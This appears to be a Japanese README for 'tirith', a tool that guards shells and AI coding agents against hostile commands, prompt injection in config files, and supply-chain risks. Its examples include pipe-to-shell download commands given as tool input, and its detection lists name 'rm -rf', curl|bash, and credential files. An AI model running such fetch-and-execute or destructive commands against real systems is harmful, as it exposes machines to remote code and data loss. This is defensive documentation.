デフォルトの `tools/list` は凍結された互換性契約である。なぜならクライアントはそれをキャッシュし、予告なく現れたツールはエージェントが呼び出せると信じるものを変えてしまうからである。したがってプレビューツール `tirith_check_task` は**デフォルトではアドバタイズされない**: アドバタイズするには `TIRITH_MCP_PREVIEW=1 tirith mcp-server` を実行し、そのオプトインなしでクライアントが名前で呼び出すと名前で拒否される。[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md) を参照。
### MCP サーバーガバナンス
`tirith mcp lock` は、リポジトリが宣言するすべての MCP サーバーを、`.mcp.json` / `mcp.json` / `mcp_settings.json` および IDE 設定のバリアント(`.vscode/`、`.cursor/`、`.windsurf/`、`.cline/`、`.amazonq/`、`.continue/`、`.kiro/`)にわたって取得し、`.tirith/mcp.lock` の決定論的ロックファイルに書き出す。各サーバーは、そのトランスポート(リモート URL、またはローカルコマンド + 引数)、宣言されたツール、カバレッジメタデータ、およびコンテンツハッシュとともに記録され、サーバーは名前/ソースでソートされるためロックファイルは diff に優しい。曖昧な宣言や資格情報を含む宣言は、ソース管理にコピーされるのではなく拒否される。環境値と URL ユーザー情報は、固定の存在マーカーによってのみ表現され、生の値や決定論的ハッシュでは決して表現されない。変数やユーザー情報の追加/削除は依然としてドリフトするが、シークレットのローテーションは意図的にドリフトしない。V7 ロックファイルは、この v8 プライバシーモデルに移行するために 1 回の明示的な再ロックを必要とする。ディスカバリはリポジトリローカルのみで、ネットワークに一切触れない。(`tirith mcp` は、tirith を MCP サーバー*として*実行する `tirith mcp-server` とは別のコマンドグループである。)
`tirith mcp verify` はゲーティングの相棒である。コミットされたロックファイルに対して現在のインベントリを再構築し、ドリフトまたは不完全/拒否された設定カバレッジで終了コード 1 を返す(一致で 0、ロックファイル欠落などの使用エラーで 2)。`tirith mcp diff` は同じドリフト情報を情報として報告する(常に終了コード 0、使用エラーのみ 2 なので、消費者は「ドリフトなし」と「チェックできなかった」を区別できる)。ドリフトは `tirith scan` を通じて `mcp_server_drift`(Medium または High)としても表面化するため、pre-commit フックや CI が、ピン留めされていないアクションを捕捉するのと同じように MCP サーフェスの変更を捕捉する。`verify` / `diff` は環境値や URL ユーザー情報を決して出力せず、変更されたものの名前のみを出力する。
2 つのポリシーフィールドが何を受け入れるかを規定する。どちらも、ソースパス、サーバー名、トランスポートを束縛する不透明な `mcp:v1:...` アイデンティティをキーとする: `scan.trusted_mcp_servers` はその正確なサーバーの設定検出結果とドリフトを抑制し、`scan.mcp_allowed_tools` はそれが公開してよい正確なツールを宣言する。ベアネームは意図的に何にもマッチしないため、別の設定にある同名のサーバーが信頼を継承することはできない。明示的なツール許可リストは、オペレーター承認済みのライブ記述子セットも必要とし、静的宣言とライブ記述子名の両方をチェックする。`tirith mcp policy init` を実行して正確なキーを `.tirith/mcp-policy.yaml.example` にスキャフォールドし、その後ゲートウェイの `--mcp-server-identity ... --approve-descriptors` フローを使用して、検査済みの `tools/list` ベースラインをアトミックに取得する。すべてのスキャフォールドエントリはコメントアウトされているため、インポートが信頼を暗黙に広げることは決してない。
### 設定ファイルスキャン
`tirith scan` は AI 設定ファイル内のプロンプトインジェクションと隠されたペイロードを検出する。50 以上の既知の AI 設定ファイルパターンを優先してスキャンする:
- `.cursorrules`、`.windsurfrules`、`.clinerules`、`CLAUDE.md`、`copilot-instructions.md`
- `.claude/` 設定、エージェント、スキル、プラグイン、ルール
- `.cursor/`、`.vscode/`、`.windsurf/`、`.cline/`、`.continue/`、`.roo/`、`.codex/` 設定
- `mcp.json`、`.mcp.json`、`mcp_settings.json`
- `.github/copilot-instructions.md`、`.github/agents/*.md`
**設定で捕捉するもの:**
- **プロンプトインジェクション**(スキル起動トリガー、権限バイパスの試み、安全性の却下、アイデンティティの再割り当て、クロスツール上書き命令)。各ファイルは生の状態と難読化解除された状態(不可視文字、confusables、文字間スペース、leetspeak、短い base64 / hex)の両方でスキャンされるため、エンコーディングの背後に隠されたシードも依然として発火する
- **不可視 Unicode**: ゼロ幅文字(Mongolian Vowel Separator を含む)、bidi 制御文字、ソフトハイフン、Unicode タグ、Hangul フィラー、不可視空白エンコーディング、数学英数字 confusables
- **MCP 設定の問題**: 安全でない HTTP 接続、生 IP サーバー、引数内のシェルメタ文字、重複するサーバー名、ワイルドカードツールアクセス
### CI / リポジトリサプライチェーンスキャン
`tirith scan` は、リポジトリが自身のビルドとデプロイパイプラインを記述するためにチェックインするファイルも検査する。危険な*パターン*を検出し、ツールを検出するのではない。SHA ピン留めされたアクション、ダイジェストピン留めされたイメージ、ローカル Terraform モジュール、および通常の `package.json` はクリーンのままである。
**CI / インフラストラクチャファイルで捕捉するもの:**
- **GitHub Actions ワークフロー**(`.github/workflows/*.yml`)、コミット SHA ではなく可変参照(`@v3`、`@main`)にピン留めされたアクションの `uses:` 参照、`pull_request_target` トリガー、`run:` ステップ内の `curl … | bash` pipe-to-shell、`run:` シェルステップに補間された攻撃者が制御可能な `${{ github.event.* }}` 値(スクリプトインジェクション)
- **Dockerfile**: `@sha256:` ダイジェストピンなしで可変の `latest` タグ(またはタグなし)の `FROM` ベースイメージ
- **Terraform**(`*.tf`)、ローカルパスや Terraform Registry ではなくリモート/信頼できない場所からソースされた `module` ブロック
- **Helm チャート**(`Chart.yaml`)、信頼できないチャートリポジトリからのチャート依存関係
- **`package.json`**: 危険なコマンド(pipe-to-shell、難読化されたペイロード、ダウンロードして実行)を実行する `preinstall` / `install` / `postinstall` ライフサイクルスクリプト。これらのフックは `npm install` で自動的に実行される
3 つの組み込み `--profile` 値がスキャンを調整する: `ci-hardening`(すべてのチェックを全力で、fail-on `high`)、`ai-agent-repo`(インジェクション検出結果を保持し、価値の低いピン留め衛生ノイズを除去)、`oss-maintainer`(変更をレビューする際にコントリビューターが制御可能なリスクを強調)。```bash
tirith scan ./ # scan the repo
tirith scan --profile ci-hardening ./ # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif
隠しコンテンツの検出
HTML、Markdown、PDF 内で、人間には見えないが AI には読めるコンテンツを検出します:
- CSS による隠蔽:
display:none、visibility:hidden、opacity:0、font-size:0、画面外配置 - 色による隠蔽: 白地に白文字、類似した前景色/背景色(コントラスト比 < 1.5:1)
- HTML/Markdown コメント: プロンプトインジェクションのフレーズ(High)、
rm -rfやcurl|bashなどの破壊的コマンド(Medium)、指示を隠す長いコメント(Low) - PDF の隠しテキスト: サブピクセルでレンダリングされたテキスト(font-size < 1px)。読者には見えないが LLM には解析可能
AI 関連ファイルの隠しコンテンツスキャン
tirith scan は、AI コーディングエージェント(またはレンダラー)が読み取って動作するファイルタイプも検査し、人間のレビュアーをすり抜けて密輸されたコンテンツを探します。通常のノートブック、可視の指示が書かれた普通の CLAUDE.md、およびプレーンな SVG 画像はクリーンのままで、隠された/密輸されたコンテンツのみが検出されます。
- Jupyter ノートブック (
*.ipynb): セルソース内の不可視/双方向/ゼロ幅文字、ソースに埋め込まれた base64 エンコードされた blob、レンダリング表示から隠されたセル(metadata.jupyter.source_hidden/hide_inputタグ)、および不可視文字やアクティブ/隠し HTML を含むセル出力 - AI エージェント指示ファイル (
CLAUDE.md、AGENTS.md、.cursorrulesなど): 隠された指示のみ。HTML コメント内の指示(レンダリングされた Markdown では不可視)または視覚的に隠された HTML 要素。これらのファイルは正当に可視の指示を含むため、通常の可視の指示は決して検出されません - SVG 画像 (
*.svg): 埋め込まれた<script>、インラインのon*イベントハンドラ、javascript:URI、リモートのxlink:href/href、または XXE 外部エンティティ宣言
クローキング検出
tirith fetch は 6 つのユーザーエージェント(Chrome、ClaudeBot、ChatGPT-User、PerplexityBot、Googlebot、curl)間でサーバー応答を比較し、サーバーが AI ボットとブラウザに異なるコンテンツを配信している場合を検出します。
運用コンテキストとワークステーションガード
単一のコマンドを超えて、いくつかのコマンドグループがゲートを運用コンテキストとワークステーションの状態にまで拡張します。ホットパスに触れるものはオプトイン(ポリシーフラグ)で、残りはオンデマンドで実行されます。
運用コンテキスト (tirith context、ssh、iac、sudo)。本番のクラウド/Kubernetes コンテキストと SSH ホストに一度ラベルを付けると、tirith は重要なものをエスカレートします:ラベル付けされた本番コンテキストに対する破壊的コマンド、ラベル付けされた本番ホストへの SSH、一致する保存済みプランのない Terraform / Pulumi / OpenTofu の apply、または理由付けされたセッションウィンドウのない sudo エスカレーション。ラベルは ~/.config/tirith/context-labels.yaml と ssh-host-labels.yaml に保存されます(または .tirith/ 配下のリポジトリスコープ)。
ワークステーションの衛生管理 (tirith hygiene、persistence、aliases、env、exec、path、hooks)。緩いパーミッションの認証情報ファイルと平文トークン(~/.ssh、~/.aws、~/.kube、.npmrc、.pypirc)をスキャンし、攻撃者が使用する永続化の足がかり(シェル rc、authorized_keys、crontab、LaunchAgents / systemd-user ユニット、git core.hooksPath)を差分し、重要なコマンドをシャドウするか認証情報を読み取るエイリアスにフラグを立て、$PATH のハイジャック順序を監査し、バイナリの来歴(パッケージ所有者、コード署名、システムコマンドをシャドウしているかどうか)を報告します。
ブラスト半径と分離 (tirith preview、watch、temp-run、taint、intend、baseline)。破壊的コマンドを実行する前にそのファイルシステムへの影響をプレビューし、コマンドが実際に変更した内容を後から差分し、信頼できないコマンドを使い捨てディレクトリで実行し、リスクの高いソースからダウンロードされたファイルを追跡して、後でそれを実行したときに検出を発火させます。temp-run は作業ディレクトリのみを変更します。これはファイルの分離であり、サンドボックスではありません。
信頼、証明、インシデント対応
- コマンド証明 (
tirith command-card) は既知の正常なコマンドを ed25519 鍵で署名します。コマンドと一致しなくなった信頼済みカードは High を発火させます。 - リポジトリコマンドマニフェスト (
tirith commands) は.tirith/commands.yamlの許可リストで、クリアされたコマンドに対する未知のコマンド通知を静め、昇格専用のdangerous[]リストを追加します(判定を厳しくすることはできますが、緩めることは決してできません)。 - ハニートークン (
tirith canary) は明らかに合成されたカナリアトークンを仕込みます。チェックされたコマンド、ペースト、またはツール出力内での接触は High を発火させます。検出は形状マッチではなくローカルストアのルックアップです。 - シークレットローテーション (
tirith secret) は監査ログから最近の認証情報の検出結果を読み取り、11 のプロバイダー向けにプロバイダー固有のローテーション/失効手順を出力します。それ自体は何もローテーションせず、ネットワーク呼び出しも行いません。 - インシデントモード (
tirith incident) は「攻撃下」の態勢を宣言します:fail_mode: closedを強制し、TIRITH=0バイパスを無効化し、停止するまで認証情報スイープ、デコード実行、および疑わしいバイナリのルールを昇格させます。
出力、ペースト、共有の安全性
- 出力方向の防御 (
tirith view、tirith output、gateway run --filter-output、およびデフォルトで安全なmcp-server) は、コマンド、MCP ツール、およびリソース読み取り出力におけるターミナル欺瞞エスケープを無効化します:OSC 52 クリップボード書き込み、偽のプロンプト、OSC 8 ハイパーリンクの不一致、およびタイトル/画面クリア操作。また、出力をプロンプトインジェクション(生および難読化解除済み)とデータ漏洩ビーコンについてスキャンします。injection_seeds_customでカスタムシードを追加し、mcp_redact_injectionでインジェクションのみの MCP ブロックを(出力全体をブロックする代わりに)警告に編集することをオプトインできます。レガシーのmcp-server --unsafe-unsanitized-tool-outputエスケープハッチは推奨されません。 - オーディエンス対応の編集 (
tirith share、tirith redact、tirith logs) は、GitHub issue、Slack、LLM、または公開ペーストに貼り付ける前に、シークレットと顧客/テナント ID を除去します。 - ペーストの来歴 (
tirith paste --with-source、tirith browser)。コンパニオンの Chrome ネイティブメッセージングホストがインストールされている場合、tirith は貼り付けられたコマンドをそのソースページに帰属させ、ソースホストがコマンドの実行場所と異なるペーストにフラグを立てます。
インストール
macOS
Homebrew:```bash brew install tirith
### Linuxパッケージ
**Debian / Ubuntu (.deb):**
[GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) からダウンロードし、次に:```bash
sudo dpkg -i tirith_*_amd64.deb
Fedora / RHEL / CentOS 8+ および Amazon Linux 2023 (.rpm):
GitHub Releases からダウンロードし、次を実行します:```bash sudo dnf install ./tirith-*.rpm
Linux GNU リリースバイナリは GLIBC 2.28 を上限としています。CI は x86_64 と aarch64 の tarball を AlmaLinux 8、Amazon Linux 2023、Rocky Linux 9 で実行します。`.deb` と x86_64 `.rpm` には同じ正規バイナリが含まれています。
**Arch Linux (AUR):**```bash
yay -S tirith
# or: paru -S tirith
Nix:```bash nix profile install nixpkgs#tirith # from nixpkgs nix profile install github:sheeki03/tirith # from upstream flake
or try without installing: nix run github:sheeki03/tirith -- --version
### Android (Termux)
Android/Termux は glibc ではなく Bionic libc 上で動作するため、`aarch64-unknown-linux-gnu`
ビルドはそこで実行できません。glibc の動的リンカが必要です。代わりに **musl** ビルドを
使用してください: `tirith-aarch64-unknown-linux-musl.tar.gz` は静的リンクされており、
外部 libc なしで Termux 上で動作します。```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version
次に、~/.bashrc でシェルフックを有効化します(Termux のデフォルトシェルは bash です):```bash
eval "$(tirith init --shell bash)" # add to ~/.bashrc
> [!NOTE]
> Termux のサポートはベストエフォートです。musl アーティファクトは CI でビルドおよびスモークテストされていますが、tirith は実際の Android デバイス上で継続的にテストされていません。
> Termux でフックが誤動作する場合は、`tirith doctor` の出力を添えて issue を作成してください。
### Windows
Windows は検出、スキャン、Webhook、ポリシー管理、監査アップロード、および `tirith setup` をサポートしています。PowerShell フックは PSReadLine のプリフライト傍受を提供しますが、厳密な承認後実行レシートを主張するものではありません。
ライブリモートスクリプト実行とデーモンモードは Windows では引き続き利用できません。
**Scoop:**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith
Chocolatey(コミュニティリポジトリ):```powershell choco install tirith
Upgrade an existing Chocolatey installation:
choco upgrade tirith
Chocolatey のモデレーションは GitHub リリースより遅れることがあります。`choco info tirith` を実行して、現在承認されているバージョンを確認してください。Chocolatey のモデレーションが完了する前に最新リリースが必要な場合は、Scoop または [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) から署名済みアーティファクトを使用してください。
### クロスプラットフォーム
**npm:**```bash
npm install -g tirith
Cargo:```bash cargo install tirith
**[Mise](https://mise.jdx.dev/)**(公式レジストリ):```bash
mise use -g tirith
asdf:```bash asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git asdf install tirith latest asdf global tirith latest
**Docker:**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"
有効化
シェルプロファイル(.zshrc、.bashrc、または config.fish)に追加します:```bash
eval "$(tirith init --shell zsh)" # in ~/.zshrc
eval "$(tirith init --shell bash)" # in ~/.bashrc
tirith init --shell fish | source # in ~/.config/fish/config.fish
| Shell | Hook type | Tested on |
|-------|-----------|-----------|
| zsh | accept-line + paste widgets | 5.8+ |
| bash | enter-key macro or preexec (two modes) | 3.2 compatibility path; 5.0+ for the fully tested modern path |
| fish | Enter-key + paste handlers | 3.5+ |
| PowerShell | PSReadLine handler | 7.0+ |
Bash は、能力セルフテストがあなたの bash で動作することを証明した場合は enter モードを使用し、そうでなければ preexec を使用します。0.4.1 以降、このセルフテストは標準の GNU bash で合格するため、`tirith setup` または `tirith doctor` が実行されれば enter モードが通常の結果となります。シェルフックは起動時にキャッシュされた判定を読み取ります。モード、セルフテスト、SSH フォールバック動作の詳細については [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) を参照してください。
macOS のシステム Bash 3.2 は互換性パスとして残り、現代的なブロッキング
ベースラインではありません。その DEBUG トラップの動作はトランポリンが定着するのを
妨げる可能性があります。Tirith は、そのハートビートが観測できる場合に結果として生じる
機能低下を通知しますが、それは 1 コマンド後になるかもしれません。厳格な Bash 認可
ゲートが必要な場合は、Bash 5+ または実証済みの enter モードパスを使用してください。
> [!WARNING]
> Bash の preexec モードはデフォルトで警告のみです。条件付きブロッキングには `TIRITH_BASH_PREEXEC_ENFORCE=1` を設定してください。Tirith は信頼できる入力行を一度スキャンし、ブロック判定の後にのみ自身の `extdebug` を有効化し、`PROMPT_COMMAND` が実行される前に解放します。プロンプト境界や呼び出し元所有の DEBUG トラップが安全に保持できない場合、または `extdebug` が既にユーザーによって有効化されている場合、Tirith はシェル状態を上書きするのではなく、preexec インターセプトを明示的にオフのままにします。
#### シェルごとの強制
| Shell | 動作 |
|---|---|
| bash **enter モード** | **信頼性の高いブロッキング。** Enter を readline マクロにバインドし、チェッカーを実行してからガード付き accept-line を実行するため、bash がコマンドを実行することを確定する前に停止できます。実行中の bash で能力セルフテスト (`tirith doctor --simulate-enter`) が配信とブロッキングを証明した場所で選択され、0.4.1 以降は標準の GNU bash でそれが行われます。永続化されたセーフモードフラグ、SSH セッション、または強制された `TIRITH_BASH_MODE=preexec` は依然として preexec を選択します。 |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **条件付きブロッキング。** 信頼できる 1 行全体をスキャンし、ブロックの場合にのみ Tirith 所有の `extdebug` を有効化し、次のプロンプトで復元します。既存の文字列/配列 `PROMPT_COMMAND` エントリは順序を保ち、スキャン外で実行されます。履歴がフィルタリングされている場合、またはエイリアス / コマンド置換 / `eval` によって入力行が `BASH_COMMAND` からずれる場合、強制は明示的に拒否またはダウングレードされます。安全でないプロンプト/DEBUG の所有権またはユーザー所有の `extdebug` は、ユーザー状態を変更するのではなく、インターセプトを明示的にオフのままにします。 |
| bash **preexec** (enforce フラグなし) | 警告のみ。リスクのあるコマンドで DETECTED バナーを表示しますが、ブロックはしません。enter モードのセルフテストが配信の動作を証明していない場合、または enter モードが利用できない場合のフォールバックです。 |
| zsh, fish | Enter/accept-line ハンドラ内で、ネイティブシェルへのハンドオフ前に信頼性の高いブロッキングを行います。通知のみの preexec イベントは認可ゲートとして扱われません。 |
| PowerShell | 信頼性の高い PSReadLine プリフライトブロッキング。厳格な実行レシートはありません。 |
| nushell | 警告のみ (現在コマンドインターセプトをサポートしていません)。 |
bash での行レベルのブロッキングには、`tirith doctor --simulate-enter` を実行してください。配信が機能する場合、enter モードが有効になります。機能しない場合は、preexec enforce を使用して「可能な場合はブロックし、できない場合は正直に伝える」ようにしてください。
インタラクティブな bash、zsh、fish は、プリフライト決定後にプロトコル v3 の実行レシートを使用します。フックのロード時に、1 つの絶対 Tirith 実行ファイルを解決して固定し、ライブシェルプロセス、シェルファミリー、セッション、ユーザー、実行ファイルのアイデンティティにバインドされたワンタイム機能を登録します。その後、レシートは `Prepared`、`Armed`、`Consuming`、および終端状態の `Committed`/`Conflict`/`Discarded` を経由します。これにより帰属とリプレイ耐性が向上しますが、シェルの証拠は、すべてのコマンドコンポーネントが実行された証明ではなく、意図的に未解決として記録されます。承認または警告確認のプロンプトは、武装したレシートを返す前に Tirith 自身が所有します。フックはそれらの事実を後から添付することはできません。Zsh と fish は、同じ行受け入れハンドラ内で武装したレシートを同期的に消費し、その遷移が成功した後にのみコマンドをネイティブシェルに渡します。PowerShell はこの厳格なレシートプロトコルなしでプリフライトブロッキングを行います。
ネストされたシェルは、セッション ID を継承した場合でも、独自のプロセスバインド機能を受け取ります。同じプロセスでフックを再ソースしても、別のベアラが発行されることはありません。`exec` が PID/開始アイデンティティを変更せずにライブシェルを置き換えた場合、置き換えられたシェルは意図的に非エクスポートされたベアラを復元できず、明示的に機能低下したレガシーモードで実行されます。厳格なレシートを復元するには、新しいターミナルまたは子シェルを起動してください。`exec "$SHELL"` はそのプロセスアイデンティティを保持するため、レシートプロトコルの再起動ではありません。
**Nix / Home-Manager:** フックがソースされる際に tirith が `$PATH` にある必要があります。Bash、zsh、fish はその解決された実行ファイルをシェルセッション用に固定します。バイナリを置き換えたりアップグレードした後はシェルを再起動してください。`initContent` に追加するだけでは不十分です。```nix
home.packages = [ pkgs.tirith ];
programs.zsh.initContent = ''
eval "$(tirith init --shell zsh)"
'';
tirith の更新と検証
tirith は自身の整合性を検証し、自己更新することができます。どちらのコマンドも、実行したときにのみネットワークにアクセスします。```bash tirith verify-self # is this binary the genuine, unmodified release? tirith update # update to the latest release tirith version --provenance # version, build info, install method, verification
**`tirith verify-self`** は、実行中のバイナリが公式リリースの正規かつ未改変のバイナリであることを確認します。お使いのバージョンとターゲットに対応するリリースアーカイブを再ダウンロードし、署名済みリリースの `checksums.txt` と照合して検証し、[`cosign`](https://github.com/sigstore/cosign) がインストールされていれば `checksums.txt` に対する cosign 署名を検証し、実行中のバイナリが公式のものとバイト単位で同一であることを確認します。完全な検証が不可能な場合(ローカルの開発ビルド、ネットワークなし、tirith が識別できないインストール)は、偽の「verified」を報告するのではなく、正直にその旨を伝えます。`cosign` が存在しない場合でもチェックサムは検証されます(`verified-checksum-only` として報告)。完全な署名検証(`verified-signed`)には `cosign` をインストールしてください。
**`tirith update`** はパッケージマネージャーを認識します:
- **パッケージマネージャーによるインストール**(Homebrew、cargo、npm、Scoop、AUR、apt/dnf)は決して自己変更されません。tirith は代わりに実行すべき正確なコマンドを表示します(例:`brew upgrade tirith`)。パッケージマネージャーを通じて更新することで、そのデータベースの一貫性が保たれます。
- **自己置換可能なインストール**(`install.sh` の tarball、スタンドアロンバイナリ、または Hermes ルート(`HERMES_HOME`、この変数が未設定の場合は `~/.hermes`。Unix のみ)配下に安全に所有された Tirith リリースのキャッシュ)はその場で更新されます:tirith は最新リリースをダウンロードし、検証してから、バイナリをアトミックに交換し、以前のものを `tirith.tirith-previous` サイドカーとして保持します。cosign 署名は**デフォルトで**検証されます:検証できない場合(cosign がない、またはリリースに署名が公開されていない)は更新が中止されます。`--allow-unsigned` を渡すとチェックサムのみの検証にフォールバックします。チェックサムの不一致は常に中止されます。`tirith update --rollback` は以前のバイナリに戻します。`--dry-run` は何も変更せずに何が起こるかを表示します。更新は常に明示的です:Tirith はバックグラウンドで新しいバイナリをチェックしたりインストールしたりすることは決してありません。
> [!NOTE]
> インストールスクリプト(`scripts/install.sh` および Windows の `install.ps1`)も、リリースの cosign 署名を**デフォルトで**検証し、[`cosign`](https://github.com/sigstore/cosign) がない場合や署名を検証できない場合は中止します。先に `cosign` をインストールするか、`TIRITH_ALLOW_UNSIGNED=1` を設定してチェックサムのみの検証でインストールしてください(推奨されません)。チェックサムまたは署名の不一致は、このオプトアウトに関係なく常に中止されます。
### シェル統合
**Oh-My-Zsh:**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith
# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)
AIエージェント統合
tirith setup <tool> を使用してワンコマンドで設定できます。これは、以前の統合と 0.4.0 でリリースされた追加分の両方を含む、名前付きセットアップサーフェスの完全なリストです:
| ホスト | セットアップ | セットアップによってインストールされる保護レイヤー | スコープ |
|---|---|---|---|
| Claude Code | tirith setup claude-code --with-mcp | ブロッキング PreToolUse、MCP は任意 | プロジェクトデフォルトまたはユーザー |
| Cline | tirith setup cline | POSIX および PowerShell 上のブロッキング PreToolUse、加えて MCP。フックプロセスが失敗した場合、ホストがツールを実行する | ユーザーのみ。Cline でフックを有効にする必要がある |
| OpenAI Codex | tirith setup codex | MCP ゲートウェイ。--install-zshenv による任意の非対話型 zsh ガード | ユーザーのみ |
| GitHub Copilot CLI | tirith setup copilot-cli | ブロッキング preToolUse フック | プロジェクトのみ。リポジトリルートから起動する |
| Continue | tirith setup continue | MCP のみ | プロジェクトのみ |
| Cursor | tirith setup cursor | beforeShellExecution フックと MCP ゲートウェイ。任意の zsh ガード | プロジェクトデフォルトまたはユーザー |
| Vercel Labs fx | tirith setup fx | MCP のみ | 信頼済みユーザープロファイルのみ |
| Gemini CLI | tirith setup gemini-cli --with-mcp | ブロッキング BeforeTool、MCP は任意 | プロジェクトデフォルトまたはユーザー |
| Grok Build | tirith setup grok-build | POSIX PreToolUse と MCP。フックのエラー/タイムアウト時にホストがフェイルオープンする可能性がある | プロジェクトデフォルトまたはユーザー |
| Kiro CLI | tirith setup kiro | ブロッキングのエージェントスコープ preToolUse フック | プロジェクトデフォルトまたはユーザー。Tirith 対応エージェントをロードする必要がある |
| OMP / Oh My Pi | tirith setup omp | ブロッキング tool_call ガードと MCP | ユーザー/プロファイルのみ |
| OpenClaw | tirith setup openclaw | ブロッキング before_tool_call プラグイン | プロジェクトデフォルトまたはユーザー |
| OpenCode | tirith setup opencode | MCP のみ | プロジェクトデフォルトまたはユーザー |
| OpenHands CLI | tirith setup openhands | POSIX pre_tool_use フックとユーザー MCP。フックのエラー時にホストがフェイルオープンする可能性がある | ユーザーデフォルト。プロジェクトフックもサポート |
| Pi CLI | tirith setup pi-cli | ブロッキング tool_call 拡張 | プロジェクトデフォルトまたはユーザー |
| Prime Agent | tirith setup prime-agent | ブロッキング bash/IPython ガードと MCP | ユーザーのみ |
| Roo Code | tirith setup roo-code | MCP のみ | プロジェクトのみ |
| VS Code | tirith setup vscode | ワークスペースフックと MCP ゲートウェイ。任意の zsh ガード | プロジェクトのみ |
| Windsurf | tirith setup windsurf | pre_run_command フックと MCP ゲートウェイ。任意の zsh ガード | ユーザーのみ |
MCP のみの行は Tirith のツールを公開しますが、ホストにそれらを呼び出すことを強制しません。
フック行は、ホストが生成されたアーティファクトをロードし、その拒否契約を依然として尊重する場合にのみ自動的です。セットアップ後およびアップグレードごとに tirith doctor を実行し、ホストを再起動し、ホスト形式の許可/ブロックチェックを実行してください。
完全な設定パス、優先順位ルール、フェイルオープン動作、および検証手順は、
エージェント統合と信頼マトリックスにあります。
利用可能なホスト固有のガイドについては mcp/clients/ を参照してください。
CI/CD 統合
GitHub Action と GitHub Security タブへの SARIF アップロード:```yaml
- uses: sheeki03/[email protected] with: version: 0.4.2 fail_on: high sarif: true
アクションの固定された依存関係は Node 24 アクションランタイムを使用します。セルフホストランナーは [Actions Runner v2.327.1 以降](https://github.com/actions/runner/releases/tag/v2.327.1)を使用する必要があります。GitHub ホストランナーは既にこの要件を満たしています。
**pre-commit フック**としても利用可能です。このリポジトリの `.pre-commit-hooks.yaml` を参照してください。
Scan は、対象を絞った CI スキャンのために `--include`、`--exclude`、`--profile`(ポリシーから名前付きプロファイルを読み込む)、および `--ignore` フィルターをサポートしています。
### ルールドキュメント```bash
tirith explain --rule pipe_to_interpreter # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal # all rules in a category
修復、「代わりに何を実行すべきか」
すべての検出結果にはルールごとの修復情報が付属します。これは「これを安全にする方法」を簡潔かつ正確に示す一行で、各検出結果の下(Fix:)および --format json で表示されます。
tirith explain --rule <id> --fix はその修復情報を単独で出力します。
コマンドがブロックまたは警告された場合、tirith check --suggest はさらに実際のコマンドに対する修復情報を出力します。これには、同じ有効ポリシーの下で最終コマンドが検証された、狭い範囲の機械的変換に対する具体的な実行可能書き換えのみが含まれます:```bash
tirith check --suggest -- 'curl -fsSL https://example-cli.dev/i.sh | bash'
→ try: '/usr/local/bin/tirith' run --capsule --script-stdin --interpreter bash \
'https://example-cli.dev/i.sh'
x86_64 Linux 上で、Tirith が root 管理の固定システムパスにインストールされており、コマンドの URL、シェル、引数、stdin の挙動が正確にデコードできる場合、この書き換えは pipe-to-shell を Tirith の境界付き・レビュー済み・ハッシュ検証済み・fail-closed なカプセルランナー経由にルーティングします。Tirith の絶対パスにより、後から `PATH` をシャドウしても実行内容が変わることはありません。実行時、ランナーは選択されたインタプリタの最初の `PATH` ヒットが root 管理下にあることも要求し、ダウンロード前にそのバイト列をバインドし、リモートの shebang を信頼せずにそのシェルを保持します。その他のアーキテクチャ、プラットフォーム、ユーザー所有の Tirith インストールでは、この修復はガイダンスとして扱われます。curl の場合、実行可能な書き換えにはさらに fail-on-HTTP-error と redirect-following の両方のセマンティクス(`-f` と `-L`、`-fsSL` のようなバンドルを含む)が必要です。動的または不正な形式の URL トークン、サポートされていないインタプリタ引数、PowerShell、Cmd、および曖昧なパイプラインはガイダンスのみとなります。実行可能な提案は、検証済みで fail-closed な pipe ランナーに限定されます。アーカイブ、dotfile、TLS フラグの削除、HTTP から HTTPS への変更、sudo の絞り込み、環境のスクラビング、パッケージ名の修正は、その正確なシェル、ネットワーク、権限、環境、またはレジストリのセマンティクスが機械的に証明できないため、ガイダンスのみとなります。安全な機械的書き換えが存在しない検出結果については、Tirith はその旨を明示し、代わりに修復方法を示します。推測されたコマンドを出力することは決してありません。このフラグは助言的なものであり、判定や終了コードを変更することはありません。
### デーモンモード (Unix)
サブミリ秒のレイテンシとネットワーク対応のエンリッチメント(短縮 URL の解決、DNS ブロックリストチェック)のためのオプションのバックグラウンドプロセス:```bash
tirith daemon start # tirith check auto-delegates when running
tirith daemon stop
[!NOTE] デーモンモードは現在 Unix 専用です。
コマンド
日常的に使うコマンド:
| コマンド | 機能 |
|---|---|
tirith check -- <cmd> | コマンドを実行せずに分析する(--suggest は修復策を追加し、検証済みの場合は狭い範囲の機械的な書き換えを行う) |
tirith paste | 貼り付けられた内容をチェックする(シェルフックから自動的に呼び出される) |
tirith scan [path] | ファイル、ディレクトリ、設定をスキャンする(--profile、--format sarif、--ci) |
tirith run [--capsule] <url> | リモートスクリプトを検査する(Unix では --no-exec)。Linux でのライブ実行はデフォルトで封じ込められ、フェイルクローズドであり、封印された匿名ディスクリプタからレビュー済みの正確なバイト列を使用する(--capsule はレガシー互換の表記) |
tirith fix -- <cmd> | 検証済みのフェイルクローズドなパイプランナー書き換えが利用可能な場合は対話的に適用する。それ以外の場合はガイダンスを表示する |
tirith score <url> / diff <url> | URL の信頼シグナルを分解する、または疑わしい文字がどこに隠れているかを表示する |
tirith explain --rule <id> / why | ルールのドキュメントと修復策、または最後のトリガーを説明する |
